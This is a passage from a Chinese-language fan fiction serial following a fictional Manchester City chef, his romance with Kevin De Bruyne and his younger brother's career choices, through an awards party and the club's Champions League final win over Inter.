“唔…别吵。” “这个点你都训练完收拾东西准备上班了吧。” “我今天夜班,不去青训营了,我要睡觉。”托马斯捂住了耳朵。 “去跟尼尔森教练道歉,这是你第一次翘课,向他保证下不为例,他应该会原谅你的。” “不,你别管我,我再也不去了,我不是那块料,去了也是被人嘲笑。” 克里奇利看他左边脸还是紫青一片,连眼睛都肿了,估计昨晚没怎么睡着,但是他这副摆烂的德行实在让人?*? 生气。 “你还怕嘲笑?你都裸着在高台上跳舞,怎么没见你自尊心这么强呢?” 克里奇利说完就后悔,但他的嘴实在是快过脑子。 托马斯支撑着坐起来,顶着鸡窝头,仰着脸拿凶巴巴的小眼神横他,“你又不是我亲哥,管不着!” 克里奇利把毯子收起来,把空调温度调低了几度,又去厨房弄些吃的,发出叮叮当当的响声。 托马斯想睡也睡不着了,他晃晃荡荡的来到厨房,在克里奇利身后站了一会,接着伸手抱住了他。 克里奇利高大的身形和他们队的小队长差不多,只是略壮了一些,抱着他一丝委屈涌了上来。 克里奇利放下手里的咖啡杯,转过来握住他的肩膀,幽深的眼神落在他淤青的嘴角,刚要说什么,托马斯先说了一句“对不起,哥。” 他说的西语,克里奇利虽然听不懂西语但理解了这个语境。 “做你想做的去吧,我可没权利做你的主。” 克里奇利目光如暖阳,让托马斯觉得他把嘴巴抿起来的样子可好看了。 “或许我应该再试试。” 克里奇利没再说什么,他走到沙发那里把地上的球鞋捡起来放到桌上,拿起外套出了门。 克里奇利一上班,发现餐厅和以前不一样了,怎么大白天的亮彩灯呢,等他走进去的时候,砰砰砰的几声吓的他小心肝都要跳出来了,要不是头上身上挂满了彩带亮片还以为餐厅被劫持了。 抢劫餐厅干嘛,他马上打消了自己的奇怪念头。 “恭喜我们的新晋主厨获奖!”一大帮人站在他面前,脸上都洋溢着兴奋的笑容,手里还举着刚拉响的礼炮。 “咋了这是?”克里奇利都被震惊出伯明翰腔了。 “早上总监来了,告诉我们今晚有一个内部颁奖典礼,你获得了最佳后勤贡献奖,今天晚上我们全都被邀请去参加颁奖典礼还有大型晚宴呢。”eleven说完就上前拥抱了他,替他获得殊荣感到高兴。 “晚宴?不会要加班吧?”职业病让他只听到了晚宴两字。 “不不不,颁完奖直接去酒会,曼城包场,你来了一直忙工作,还没参加过俱乐部的节目呢。”eleven给他解释完了又在他耳边说了一句“外勤,一般需要盛装出席。” “那好说,只要不携女伴就行。”他也小声回了一句,引得eleven捂嘴偷笑。 “不过,这里还是要自己打扫的啊。”他点了点大厅洒落的到处都是的彩带,不解风情的安排着,接着走进后厨开始工作。 大家起初认为他有些冷峻不太好接近,随着他张弛有度的工作态度,娴熟的厨艺和公私分明的领导方式,逐渐让大家接受并认可这位年纪轻轻就可以运筹帷幄的主厨先生。 他嘴上说着让大家打扫干净,还笑着批评他们净给自己找事,也会拿起扫帚和大家一起打扫。 厨房就是他的主阵地,而餐厅就是他的脸面。 但是获奖这个事确实有些意外,他自认为只要把饭做好,球员们营养到位还能夸夸自己的餐厅就是对他最大的肯定了,要上台领奖这个事完全不是他感兴趣的范畴。 以前上电视那种拘谨和被调侃后的愤怒还历历在目。他不喜欢当名人,束手束脚的不自由,他只喜欢在自己擅长的领域兴风作浪,就像高鱼一等的海豚,在自己的舒适圈里作妖简直不要太舒适了。 平时见惯了他一身修身的白色厨师服,或者下班一件精干的小皮夹克,今天晚上看他西装革履的出现在颁奖典礼的时候真的是帅的过分,德布劳内看的拔不出眼来,虽然每天就睡在他身边,仍被他一举一动所散发的优质男性荷尔蒙沉沉的叩击心窝。 他看过去的眼神满满的都是“看,台上那个是我的人,你们不知道他有多迷人,不,你们知道。”可他又不能告诉别人这个想法,那种想炫耀又不能炫耀的滋味特别难受又没人能懂。 行深情注目礼送克里奇利上台的可不止他一个,而且他们张口就夸。 “我爱他那条香槟色的领带。”格拉利什侧过头对福登说,福登回答他也就他能压得住。 “你也能。”格拉利什笑出了鱼尾纹。 “我还没到那个年龄,他不老不小的,那颜色正适合,沉稳中带着一点风骚。” 鲁本直接夸他性感,还问他们,你们见过他不穿衣服的样子吗? 两人刚想说见过,就被德布劳内莫名其妙的瞪了一眼。 这时克里奇利开始发表获奖感言。 他接过曼城副总裁颁给他的金勺子奖杯,并对他说恭喜,实至名归,我代表曼城谢谢你,他微微一笑,接过来说了句我的荣幸之至先生,还十分绅士的和颁奖嘉宾行了贴面礼。 接着,他面向台下,清了清嗓子,目光扫过给他投票打高分的那群可爱的球星,一眼就看到人群中闪耀着金色光晕的美男子。 “哇哦,这太神奇了,这是金的吗?”他看了看手里的“金勺子”。 “哈哈哈…”台下爆发出一片笑声。 “我对金的完全没有抵抗力。” 又是一片笑声,唯独德布劳内捂住了脸。 “多了不说了,今天的主角是你们,祝贺刚才领到奖的朋友们。曼城真是一个好地方,会用我们最喜欢的方式来鼓励我们。”他举了举手里的奖杯语气稍微顿了一下,接着说,“就是爱和尊重。” 以为他会说金钱和奖杯,结果这家伙又把话题升华了,这该死的小聪明又为他加了不少分。 德布劳内对他是又爱又恨。真想把他包了,放在家里不让人随意端详,刚才想显摆他的劲儿一下子变成了不想让人发现的小心思,但又不得不承认他的魅力是普渡众生的,于是对旁边的阿克说,“真是玄学就好了。” 阿克瞬间明白,德布劳内谁也不服的毛病又犯了。 克里奇利来到曼城以后,他们不仅改善了伙食,好像伤病都减少了,不说别的,罗德里都能来训练了,听说私下给罗德里私人订制帮了大忙,最主要的是他来了以后曼城一场没输。 大家都觉得神奇,不知道谁说了一句克里奇利跟车的比赛全赢了,怀疑他给他们的餐放了大力丸,然而检测一直是过关的。 大家说来说去也都信了克里奇利的到来的确助长了曼城的雄风,一传十十传百的就把他给标榜了,传到高层耳朵里势必要乘胜追加褒奖,稳固这位神厨的位置,让他安心留在曼城镇风水。 阿克笑笑,对德布劳内说,“都是你的功劳,你吃的好。” 德布劳内听了又有点惭愧,克里奇利的确给自己开了小灶,难不成他真有金手指,大家吃饱,他吃最好,罗德里缺阵的时候也能稳住大局,真的有些不可思议。 颁奖典礼结束后,大家都去了酒会。 酒会是大家最喜欢的活动之一,吃吃喝喝跳舞唱歌之外最开心的就是和形形色色的人对对碰,说不定就碰到心仪的人。 克里奇利在这种场合绝对是领军人物,是舞池里最耀眼的存在,音乐一响,灯光一扫,188的身高加上紧身衬衫的诱惑,完全颠覆人们对厨子的刻板印象,用不了一分钟身边就会被大把美女帅哥缠绕。 不老实,不规矩,不低调,不文静。他是舞池里的发电机,谁路过都得被电一下。 即使穿着清冷的灰色衬衫也包裹不住他热辣模特身材的优势,胸肌撑起那层布料,双开门的门快要把扣子爆开,腰线被收在皮带里的衬衫修饰的非常清晰,让人好想搂着和他摇曳一晚上。 就这样他被这个那个搂来搂去,蹭来蹭去,摸来摸去,就像暴露在外面的文物壁画,摸的多了都快包浆了。 德布劳内在一边卡座里坐着,眼睛直勾勾的盯着舞池里出类拔萃的他,数着他前胸后背到底多少只手,手指捻的高脚杯吱吱作响。 那他也不会挤进人群去竞争他身边的C位,只要他想,那个人会抱着他摇一晚上,这点自信还是有的。 但他只会默默生气,怨自己怎么找了这么个男女通吃的大祸害。 第45章 酒会散了,德布劳内…… 酒会散了,德布劳内懒得等他,自己叫车回家了。 也不是他想喝的烂醉,是餐厅的同事太久没有获得表扬了,都想和他碰碰杯,表示一下祝贺或是沾沾运气。 餐厅经常成为俱乐部吐槽的对象,这次能从幕后走到台前来多亏了克里奇利的功劳。 他也不好推辞,陪着他们嗨到了半夜。 回到家看了一眼沙发空空的想起来托马斯应该是上夜班没回来,结果扑到大床上也是空空的。 瞬间睡意全无,脑子里开始细数从酒会开始到结束自己有没有做出格的事情。 在这种直人聚会上应该不会吧。 他想了半天也没想起来,还把自己想的通体火热,没有床伴是无论如何也忍受不了的。 他拿起外套就去了德布劳内家,开门就质问他,“我怎么记得我是有partner的呢?为什么让我独守空房呢?从没见过你这么狠心的新婚小娇妻。” “嘿!”克里奇利醉醺醺的仍不忘用手撑住门,不让德布劳内把自己关在门外,接着没脸没皮的闪身进去。 “真想把你当垃圾一样扔出去,谁爱捡谁捡。” 德布劳内没给他好脸色,转身往卧室走去。 克里奇利上前一步就从身后抱住了他,臂弯收的紧紧的,呼吸像滚滚热浪喷薄在他的侧脸上,带着浓重的酒精味和乱七八糟的各种香水味,侵害着德布劳内困又睡不着的敏感神经。 “生气啦?逢场作戏而已。” “你怎么不假戏真做,来个全套呢?被人撩了一晚上攒够了火跑来祸害我,真有你的。” 德布劳内才不是什么温柔小娇妻,他用力挣脱开他的束缚,推了他胸口一把,然后上床拉上被子把自己埋了起来。 克里奇利才不会这么轻易的放过他,最主要的是他认为不管从什么方面得罪了老婆,都要用实际行动来弥补。 没有一次欢愉解决不了的问题,有,就两次。 给子之间的沟通方式就是如此。 简单,直接,用力,带着那么点自私和随心所欲,情场里就没有克里奇利搞不定的人。 他不会让任何人带着情绪睡觉,这也是他的魅力所在,体验过他的人都知道,除了第二天没醒酒说的混账话之外,前一晚的深入交流还是可圈可点的,这也是他在伦敦圈得以吃得开的原因之一。 果不其然,第二天早上他还没睁开眼睛就被德布劳内教训了。 德布劳内问他:“你很享受在舞池里被人摸来摸去的感觉吗?” 他说这有什么?我当年在伦敦gay吧里还获得过最美胸肌奖呢,吧里100多人都快给我摸秃噜皮了。 说完他就挨揍了,他的最美胸肌被人狠狠拿捏,疼得他抱住自己埋头在枕头里,哭着控诉德布劳内虐待亲夫。 不能跟他的过去一般见识,德布劳内反复告诫自己。 但他会跟托马斯吐槽,你哥是个彻头彻尾的大人渣,不知道收敛为何物,仗着自己有几分姿色就到处乱放电,跟个公狗一样四处标记领地,总有他碰到高压线的时候。 托马斯一本正经的替他哥哥说话,他说:“凯文,别管他标记谁,他真的爱你。他对你如此深情温柔,像个孩子似的撒娇打滚,你是他最重要的人,噢,我好嫉妒。” 托马斯做作的演技惹得德布劳内发笑,别说他皱着眉装作伤心的样子真有几分清澈小鹿的模样,让人心生怜悯。 心里被他说的有些开心,嘴上还是不肯承认恋爱中的人心智都降到了18以下,还要被一个小孩顺着毛呼啦。 “最近球练得怎么样了?”德布劳内突然摆出威严要检查他的课业,就算是副业也要验收的,毕竟亲自指导他小半月了。 “还…还行。”托马斯垂下他机灵的小黑眼珠,毛茸茸的睫毛遮住了有些心虚的眼神。 “颠50个我看看。” “50个?” “嫌少?” “不,不少。” 他抱着球走去阳台,刚要交作业,手机响了。 他看了一眼,是小队长打来的,他把球一扔兴奋的抓起手机就跑了,把验收作业的老师扔在客厅气的胡子都逆了。 * 随着一场又一场的比赛,时间来到了最令人紧张的5月。 这个赛季可谓是乘胜追击,每个人都有使不完的劲儿。特别是罗德里的回归,让曼城越踢越有底气,越踢越有力量,整个曼城上下都凝聚起巨大的能量,全力共赴各项赛事的胜利。 大家都忙的不可开交,任何人任何一个环节都不可以出纰漏,包括场地哪个地方的草不平整都会有人立刻去铺平,这种专业又紧张的氛围影响着曼城每一个工作人员,克里奇利也不例外,他把餐厅重新布局,增加了许多新的餐位,贴上了一些他的审美。 比如冷饮区,帅哥美女的泳装图。 铁板区,南美风情的热带雨林和大串烧烤。 甜品区,比利时手工巧克力和英式布丁慕斯的浪漫邂逅。 伴着初夏的升温,让大家一来餐厅就感受到扑面而来的清凉舒爽,从而增进食欲。 他还准备了很多下饭小菜,见过的没见过的五花八门的可谓用尽心思,让人由衷的感叹曼城真是血赚,不仅请了个厨神面面俱到,还把中餐里的阴阳调和给发挥到了极致,这样的大厨能不能共享一下,别藏着掖着搞别人心态行不行。 果不其然,英超最后一场大获全胜,4-1轻取西汉姆联,力压阿森纳1分夺得英超冠军,随后的英足总也2-1战胜了同城劲敌曼联折桂,随后到来的欧冠决赛更是要问鼎欧战。 这一个接着一个的冠军给曼城所有人带来前所未有的震撼和刺激,大家佩服瓜帅信服瓜帅的同时,也不忘曼城所有人的努力。 包括辛苦的自己还有在他们背后默默支持他们的人。 克里奇利就是他们背后的男人,把他们的胃口伺候的绝对到位,谁爱吃什么,什么时候吃,吃多少,对身体有什么找补,他都记得很清楚,比人名好记多了。 他聪明到每一场关键比赛前都把德布劳内哄的开心又舒适。 场下喂饱他,让他在场上放飞自我,成为英超绝顶一霸,只要他上场,绝对给对手气场和风向的双重压迫,让利物浦的主帅感慨,德布劳内跺一脚,整个英超震三震。 这几个月以来,他好像遇到了星座水星顺行,思路清晰,传球准确,恋情稳定。 就连托马斯都在日复一日的训练排练中找到了自我。 克里奇利也没有在这短短的几个月里有什么实质性的改变,人还是依旧随性,话还是随便乱说。 托马斯说他马上要签约经纪公司了,而球队他又不想放弃,因为尼尔森给他申请了陪练待遇,马上要做出职业选择,想征求克里奇利和德布劳内的意见。 德布劳内说:“两个职业都很好,看你更倾向于哪个,选择了以后就要付出更多的努力,不是所有人都能达到我和你哥哥的成就。” 克里奇利打了个喷嚏,他说,“我哪有什么成就,我最大的成就就是靠上你。”说着他就向后仰倒在德布劳内的怀里。 在他怀里蹭够了才满足的抬起头,对托马斯说:“我演你呢。” 托马斯被他说的一头雾水。 “你自己的舞台你自己策划,别想着傍个靠山什么都给你搞定,双国籍人士。” “噢shit!”德布劳内捂住他的嘴,对托马斯说,“他喝多了,你赶紧上课去吧。” 托马斯嘴角抽了抽,似乎习惯了这个应该拿最佳毒舌奖的臭哥哥,他摆摆手说,“没事,我走了,他要是敢对你这么说话,我支持你对他做任何事。” “我打他。”说着德布劳内就重新把克里奇利拉到怀里,摁在腿上,对着他屁股啪啪扇了几巴掌。 随着声音落下,托马斯出了门,德布劳内就僵直了背,仰起了头。 这个家伙知道用什么堵住自己不该说话的嘴。 托马斯没有去上形体课,而是去青训营看他们训练。 看着看着就泪目了。 小队长麦卡蒂有模有样的在指挥训练,自己也特别努力,不停地跑来跑去,让托马斯想到过去的日子里,自己在他身后拼命的用眼睛去找他的身影,在适当的时候把球传给他,努力去做一个连接前场的后腰。 在他勇闯对方禁区的时候再次来到他的身后准备帮他解围和拦截。 那些短暂又真实的日子让他不舍得离开这片绿油油的草地,和那些小伙伴一起挥洒汗水的地方,特别是小队长在每次他要走的时候都笑着和他挥手说明天见。 他们成了无话不谈的朋友。托马斯始终穿着那双粉色球鞋,虽然磨的有些旧,那他也不换。 麦卡蒂发现他在场外看他们训练,兴冲冲的跑过来和他打招呼。 “嗨!”麦卡蒂隔着防护网把手搭在上面和他说话。 “嗨!”托马斯手插在兜里,本来迎着光眯着眼的他被面前高大的身影给罩住了。 “今天不去上班吗?” “夜班。”他用脚尖碾着脚下的胶粒。 “噢!那进来踢一会。” “不了,我没穿球鞋。”其实他背包里一直带着那双球鞋。 麦卡蒂笑笑,没再问他,这时队友们喊他过去准备踢小组赛。 “那我走了?”麦卡蒂向后退了几步。 在他转身的时候,托马斯叫住了他,“队长!” “嗯?”麦卡蒂回头看他。 “我想我应该和你说一声,我要签约经纪公司了。” “签约什么?” “娱乐经纪公司。” “不是曼城俱乐部吗?” “呵…你太高估我了。” 麦卡蒂笑容凝在脸上,脚步也停顿了,眼神茫然的看向地面又落在他的脸上,那边又在喊他快点,说他整天和托马斯见面有什么好黏糊的。 “不管怎样,祝你一切都好。”麦卡蒂有些手足无措,“还能再见到你吗?” “我又不是马上就签,至少要等到我18岁生日以后。” “好,找时间给你庆祝。” 麦卡蒂回到球场,托马斯也准备去上完这个夜班就辞去小超市副店长的职务,专心去当练习生,为了签约出道做准备。 第46章 这天,托马斯发布了…… 这天,托马斯发布了一条重磅消息,他要去做世界先生巡回宣传了,先在欧洲预热,随后去东南亚,最后去南美。 克里奇利不久前还在想这小子什么时候独立,结果这么快就要离家出走满世界飞了。 一时还有点难以接受。 但嘴巴接受的很快,他说,“没时间管你,最近都在忙欧冠决赛的事呢,需要多少钱直接说。” “不用,我有钱。”托马斯抿了抿嘴唇,他只是想告诉哥哥,自己终于可以安定下来,不用依靠他的喂养了。 克里奇利眯着眼趴在厨房的台桌上,一脸人畜无害的样子,托马斯就知道他一定会笑话自己打工赚那点钱还不够买套西装的。 “哥,你不说话的样子美极了。”托马斯殷勤的给他倒水。 这次克里奇利学乖了,也可能是被他美丽男友调理的温顺了,他二话没说拿出手机给托马斯发了个大红包,跟他说去世界各地别忘了带伴手礼回来。 托马斯笑。 其实他现在虽然没到签约的年龄但已经有合同了,经纪公司会包装推广他,没什么需要花钱的地方。 克里奇利是看他一直穿那一双破旧的球鞋以为他不舍得花钱,就给了他一双球鞋钱,多了他也不要,每次零花钱他都记着帐呢,等这次首秀成功会一点一点还给他们的。 托马斯出差十天,这期间欧冠决赛就在土耳其伊斯坦布尔奥林匹克体育场上演。 克里奇利伦敦的好基友向他求票,说想去土耳其度蜜月,看一场欧冠决赛助助兴,问他有没有本事可以搞到票。 他想问德布劳内要两张票还是轻而易举的,就是这俩人不配当德布劳内的家属,主要是他还不想让别人知道他们的关系。 这次连工作人员都限流,千金难求一票,为了不给德布劳内添麻烦,他直接联系了欧冠直通车的旅行社,砸了点钱搞了两张位置不错的票,还附赠了土耳其一日游,就当给他俩的新婚礼物吧他这么想。 德布劳内最近心情不错,没人惹他生气,他看谁都比较顺眼,训练中总是保持微笑,还时不时的炫技,从双脚站到一个球上开始耍帅,再玩个大的,两只脚分别踩两个球,吓的助教大呼“凯文no!” 克里奇利从餐厅的落地窗向球场望去,看他家大橘猫玩球玩的兴致高昂,动作轻盈帅气,还和队友们打打闹闹,动不动就哈哈大笑和队友们抱成一团,感觉他不是33岁,而是23岁,不由得也被他感染到嘴角上扬。 啪的一声,eleven打了他肩膀一下,打断了他欣赏小猫玩球的快乐时间,接着把他拉进后厨,指着一锅黏糊糊的东西质问他,“布莱恩,你这是熬了一锅什么啊,看着好恶心,味道也…”她没说完就捏住了鼻子。 “猪蹄布丁。” “什么?呕…” “你没吃过吗?这不就是你们那里过春节常吃的美容冻吗?” “我没吃过,不知道你从哪学的,爷爷可没教过我。” “独家秘笈,谁叫你恋爱脑,不学无术,老家的精髓都快忘光了,现在就知道鱼香肉丝和宫保鸡丁,比我还像个英国人。” “行行行,你厉害!看你煮的这一锅,一会没人吃就更厉害了!” 克里奇利没理她,他坚信自己可以做出像样的美食来,往往没什么新意的时候就好像他师父附身了一样,总能想出新点子来,上次做的脆哨,不知道一家人有多爱吃,就是热量稍微高了一点,限量发放还被格拉利什嫌弃给他发少了。 他不慌不忙的把猪蹄冻滤出来,盛到容器里再放进冰柜里冷冻一会。 球员们来吃饭了,一个个对着切成块的猪蹄布丁不敢下手,心里琢磨着这得是什么味儿啊,好好的国菜为什么要加猪蹄? 质疑谁也不能质疑自家厨子,他可是获得过金勺子奖的人。 德布劳内忍着排斥感带头先取了一块,回头看了一眼克里奇利,用眼神告诉他,我给你面子,希望不要太难吃。 克里奇利给了他一个无比自信的回应,好像在说我什么时候让你失望过,先生。 大家怀着忐忑的心情品尝了新菜猪蹄布丁,除了不太爱吃猪肉的努内斯之外,其他人都直呼绝了! 口感弹牙,冰冰凉凉,入口即化,满口留香。 不愧是帅气又能打的厨神小当家。 克里奇利和瓜迪奥拉说出菜品的意义。他对瓜迪奥拉说,“boss,你没发现上班太勤会让人脸上失去光泽和微笑吗,他们的关节肌肉需要养护,心情也一样,这道菜富含胶原蛋白,你多吃点,比医美管用。” 瓜迪奥拉故作不满道:“我看上去需要补吗?” 克里奇利笑着说:“你看上去比他们年轻。” “哈哈哈…”瓜迪奥拉笑过之后又立刻反应过来,他的意思是说他的球员们累得灰头土脸,看上去像老了十岁,食补固然重要,缓解他们的压力才是正事。 欧冠决赛近在眼前,没有人比厨子更上心。瓜迪奥拉拍拍他肩膀,对他说,“真希望你是我的球员,有这份心。” 克里奇利说噢我一直以为我是你的第12个人。 瓜迪奥拉又笑出一脸大褶子。 * 谁能想到冠绝天下的顶级赛事背后,美食助力也会上大分呢! 先不说他做的东西有多好吃,他对工作那种游刃有余的态度和亲力亲为的专注就让人赏心悦目。 说他是球星背后的男人一点不为过,他会给每个人提供专属的能量补给。 每个球星上车前都会获得一杯自己的特调。格拉利什喜欢一杯冰拿铁+香草糖浆,福登要一杯300毫升的冰橙汁,德布劳内会想喝双倍浓缩+两块方糖,但克里奇利不经常给他喝,原因是怕他过度紧张,他神经越来越敏感,喝高浓度咖啡会让他赛前兴奋过度,赛后累到虚脱。 但是欧冠决赛谁能不拼,他咖啡瘾上来了,你给他低浓度的唬弄他也不行,为此克里奇利专门从哥伦比亚订购了低咖啡因的顶级咖啡豆,经过手工研磨,滤取咖啡液,控制好流速和颜色,不厌其烦的每次为他的大赛提供味觉和情绪支持。 喝到一杯香浓可口的爱心咖啡,德布劳内总是面带微笑,心情也很开朗的愿意和前来的记者球迷朋友多聊几句。 这天晚上,伊斯坦布尔奥林匹克球场灯光如昼,该来的始终要来。 曼城所有人都知道欧冠冠军对他们意味着什么,虽然之前几次杀入决赛圈,但都因为各种原因与冠军失之交臂。 或许有人还年轻,如哈兰德,福登,多库,他们还有大把的机会和风头,但对于德布劳内来说,这次欧冠是他心中久远的梦,为球队为国家拼尽全力是他心中早就立下的誓言,对一个职业球员来说他已不再年轻。 今天,他已经做好准备去迎接和捍卫荣光,原因还有一个,他背后有爱。 在球员通道里,小球童都排好了队等待着球员们来认领,工作人员先入场去工作区待命,克里奇利为他们准备了酸汁饮品功能饮料,随着设备管理员一起进入场地。 他在更衣室门口正好遇到整装待发的队伍。 他一如既往的慷慨释怀,不管别人喜不喜欢他,他都像一个粉丝一样主动上前拥抱几乎每天都能看见的球星朋友们。 就像给他们注入能量一样,他热情奔放的怀抱比曼城的Moonchester和Moonbeam还让人暖心。 到德布劳内面前,他突然害羞了,结果被德布劳内一把拽住手腕,拉进怀里抱住顺势往后仰了仰,竟然把他抱起来了,胳膊勒的他还喘了一声。 力气足,曼城这把稳了。 克里奇利笑着拍了拍他的后背,在他耳边小声说你赢了你在上面。 说完该轮到那人还没踢就脸红了。 罗德里发现猫腻,调侃德布劳内,“怎么,胜利的气息扑面而来了,丁丁,你还没踢就红温了。” 德布劳内压下嘴角,疑惑的目光投过去,说:“我很高兴你这么快就恢复了,他给你吃了什么?” “这是个秘密。” 罗德里和德布劳内中间隔着憨厚的阿克在对聊,阿克心里想,这两位哥可别闹,一个前场推土机,一个后场阻截器,都干好活就不会冒顶考验他。 这场比赛真的是一场激烈的视觉盛宴。 克里奇利坐在曼城工作组的位置,还从未有过如此紧张和兴奋的心情,他看不出来哪边更强,他只希望比赛快点结束,曼城赶紧拿分,这90分钟也太漫长太考验人的心脏了。 但愿这几天给他们熬的骨头汤和小鱼粥能让他们身体更结实更扛撞,这一来一回的对抗真的是要吓死人啊! 对面是国际米兰,球员一个个像内功深厚的武林高手,把蓝月军团显得有些矜持,但蓝月亮也不是吃素的,这些天都是按照猛虎食谱喂养的,绅士是他们的气质,脚下依然凶悍如鹰,你敬我一尺,我敬你一丈。 但天有不测风云,尽管克里奇利的目光一直追随着他的爱人,想把自己全部的运气和能量都隔空传递给他,还是在第30分钟,出现了意外状况。 德布劳内的腿部突然感到一阵巨痛,随即蹲下试图缓解疼痛,却仿佛听得见从大腿后侧传来的咯吱咯吱的响声,好像机器缺了机油,让他感到像钝刀割肉一样闷痛无比。 克里奇利的心提到了嗓子眼,他默默念着师父你快点仙灵帮帮我,别拷打我脆弱的神经,还没有人可以让我牵挂到如此地步。 他师父仿佛吹了他一阵仙气,叫他淡定,但是这注定是一道劫数,想要保他平安无事,得需专一长情。 克里奇利立刻发誓,我愿独宠他一个! 裁判示意队医进场,漫长的6分钟治疗过后,德布劳内又重新站了起来,他想要这个冠军,想要与他的爱人一起分享荣光,想要把他带上车顶,和他一起亲吻圣伯莱德杯,彻夜狂欢! 克里奇利赛前找过罗德里,信誓旦旦的对他说:“我不懂踢球,但是我知道你是世界上最好的后腰,凯文说的,你的远射仅次于他,你这场一定会进球!” 罗德里笑说:“凯文真是我那了不起的队友,什么都要争第一,我是最好的,他就是最最好的。” 这位嘴巴毒辣却开了光的厨子,一身玄学自带感应系统,在欧冠赛前就预测了罗德里会进球拯救队伍的事实。 中场休息,克里奇利给德布劳内准备了酸汁饮料,就是腌黄瓜汤,挺难喝的,但比中药好喝点。 德布劳内二话不说一仰脖就干了,喝完以后又揉了揉腿,下半场又继续坚持了20分钟。 克里奇利看他拼尽全力的样子有些心疼,一时又怀疑自己是不是不该给他们特补,这样就像打鸡血一样,也有心理影响,会让他们对自己的身体寄予过量的期待,反而不利于休养生息。 德布劳内换下后,克里奇利赶紧上前拥抱安抚他,拍拍他前胸湿透的衣襟,对他说,“好样的,凯文,我为你感到骄傲。” 德布劳内面无表情的摇摇头。 德布劳内被换下场后,曼城进攻火力明显下降了不少。 然而,被德布劳内称为世界上最好的后腰,也被克里奇利的嘴给开了光的罗德里,一脚暴力无解的贴地斩将曼城推上了世界之巅,势大力沉的将沉溺在水中的月亮给捞了起来! 第47章 那一刻,替补席上所…… 那一刻,替补席上所有人都疯了一样的跳起来,互相抱在一起,有的人还兴奋的冲到角旗区和球员们热烈的拥抱庆祝。 这个球来之不易,在如此高强度的对抗和世界级较量之下,考验的并非是个人而是一个团队的精神属性。 瓜迪奥拉激动的眼角泛红,他的伟业马上就达到了,谁不是呢?曼城的荣誉,多年的沉淀,只差一个欧冠。 随着终场哨声响起,场上倒了一片。 罗德里趴在草地上捂着脸颤抖着双肩迟迟走不出来这场比赛,身后好几个人叠成了一小堆相拥而泣。 鲁本迪亚斯和约翰斯通斯握紧双手互相望着对方,眼里闪着泪光,哈兰德和格拉利什跑到替补席把瓜迪奥拉拖上去,大家围住他把他高高抛上了天空。 曼城所有人聚在一起,乱套了。 克里奇利看着他们肆意庆祝的一幕幕,心胸升起莫大的满足感,跟随着他们的视角傲视着这个世界,我们是冠军! 然而德布劳内却异常平静。 他机械版的和教练队友对手还有工作人员一一握手,脸上依旧没什么表情,甚至看上去不那么开心。 克里奇利以为他要么是开心过头,要么是故作深沉。 他一直想要的,如今已经到手了。 等回去问问他还有什么想要的。 自己虽然不能在场上助攻他实现梦想,却可以在背后不停地助攻他。 他的情绪很奇怪。 直到他被瓜迪奥拉抱住,一向沉稳老练的瓜帅哭的像个孩子似的抓住他的衣服,紧紧地搂着他,一遍一遍的在他耳边重复着,“凯文,我们做到了!我们做到了!” 他木然的回应着,眼睛里没有泪也没有亮晶晶的水光,似乎还没从巨大的胜利中回过神来。 克里奇利看了他一会,觉得不太对劲,他和别人的反应不太一样,他被夺舍了? 师父呀,我是不是许愿许猛了。 他为什么得到了却不开心呢? 是有什么反噬吗? 克里奇利随着大部队回到场馆内,准备为他们提供赛后补给。 他分完了甜橙汁却找不到德布劳内了。 他一般赛中和赛后都不爱喝饮料,但是他需要及时补充电解质和葡萄糖。 克里奇利到处找他,最后在洗手间找到他,他还没换衣服换鞋准备一会重新登场接受颁奖典礼。 克里奇利把手里的橙汁放在洗手台上,抬眼看着镜子中的他。 他脸上红润渐渐褪去,肤色更白,衬的眼睛更蓝,金发被汗水湿透一缕缕的贴在额头,看上去像个落水的小狮子。 “怎么了?厌世了?” 克里奇利没心没肺的把手搭在他的肩膀上,侧着头看他,说了一句该就地挨揍的话。 “嗯。” 没想到德布劳内没打他,还认了。 “啧,你可真是个难伺候的主子。”克里奇利捏了捏他肩膀上的皮肉,开始了克式劝慰。 “我是国米的,那我今晚不活了。”他趴在他肩膀上开始嘤。 “我被KDB虐了,被罗德里炮轰了,被你们曼城蹂躏了,噢…”他装模作样的吸了吸鼻子。 “你被罗德里炮轰过吗?” 他可真会抓重点。 “嗯?” 克里奇利瞪大眼睛看着他面前疲惫的小猫,脑子瓦特了反应半天。 “噢,没有,想哪去啦?乖,跟我回去,换衣服,高高兴兴去领奖。” 他这次真没有,可以说大实话,他也没对他说过谎话。 把德布劳内哄回来以后,又帮他脱掉粘在身上的队服,还帮他擦头发,像个保姆一样就差把他带进浴室给他洗澡了。 德布劳内心情好点了,脱了球鞋蹬了他一脚,把他给蹬个了仰八叉,他就抓住德布劳内的脚想把他也拉下来,德布劳内又蹬了他一次。 “喜怒无常的小猫,你敢拿你的臭脚丫蹬我脸。” “哈哈…” 趁着更衣室没人,两人在更衣室里打情骂俏。 德布劳内最后一个出现在队伍里,排在了最后,他有个心事还没解。 哈兰德看见了,抓住他手腕把他往前推,他一直不肯上前去,最后站到了罗德里后面。 最后他还是闹了脾气,看着大耳朵杯摇头叹息,从他心心念念的荣誉面前飘然走过,一丝命运的自嘲涌了上来。 克里奇利在台下看着他就这样虐自己,恨不能上去把奖杯塞到他手里,告诉他想什么呢!你值得拥有!没有你曼城根本走不到现在! 夜幕降临,狂欢落幕。 领奖过后克里奇利一直在座位上不动弹了,他觉得是时候晾晾他,也许不去强调他的丰功伟绩他就不那么自责和觉得自己不配了。 反正正能量的话一大家子人对他说,瓜帅就差把他当婴儿抱在怀里悠着哄了。 他却时不时的向工作席张望,看到所有人都站在那里给他们拍照,为他们欢呼,只有克里奇利拿着手机坐在那玩。 绕场致谢终于结束,他想奔过来对他说,终于结束了,我现在又饿又累,你得好好伺候我。 刚跑过去就看到有两个男的在和他说话,貌似是球迷区穿过来的,他们隔着栏杆聊的正欢。 他悄悄走过去,故意在他身边收拾东西想听听他们说什么。 和克里奇利说话的正是理查德和保罗。他们从球迷区穿过人群来到曼城休息区,隔着护栏和克里奇利聊天。 “布莱恩,恭喜你们!比赛太精彩了,真羡慕你近距离追星,哦不,负距离追星,真爽啊!” “瞎说什么!怎么样,位置还不错吧!” “相当不错,谢谢你的赠票,不过不是家属区还是有点意外。” “你们俩要饭还嫌饭馊。” “噢,你还是说话这么难听,曼彻斯特的水也没滋养好你这张紧致又毒辣的小嘴。” “Fuck off!度你们的蜜月去,真扎眼睛。” “晚上出来喝口。” “再说吧。” 